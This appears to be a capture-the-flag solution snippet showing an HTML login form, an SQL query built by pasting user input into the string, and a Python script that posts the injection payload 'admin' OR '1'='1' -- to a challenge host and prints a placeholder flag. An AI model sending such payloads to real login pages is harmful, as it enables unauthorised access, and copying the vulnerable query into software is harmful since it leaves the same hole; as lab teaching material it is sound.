<form action="/login" method="POST">
  <input name="username" type="text">
  <input name="password" type="password">
  <button type="submit">Login</button>
</form>

SELECT * FROM users WHERE username = '$input' AND password = '$password'

import requests
 
url = "http://challenge.ctf/login"
payload = {
    "username": "admin' OR '1'='1' --",
    "password": "anything"
}
 
response = requests.post(url, data=payload)
print(response.text)  # FLAG{sample_flag_here}

FLAG{sample_flag_here}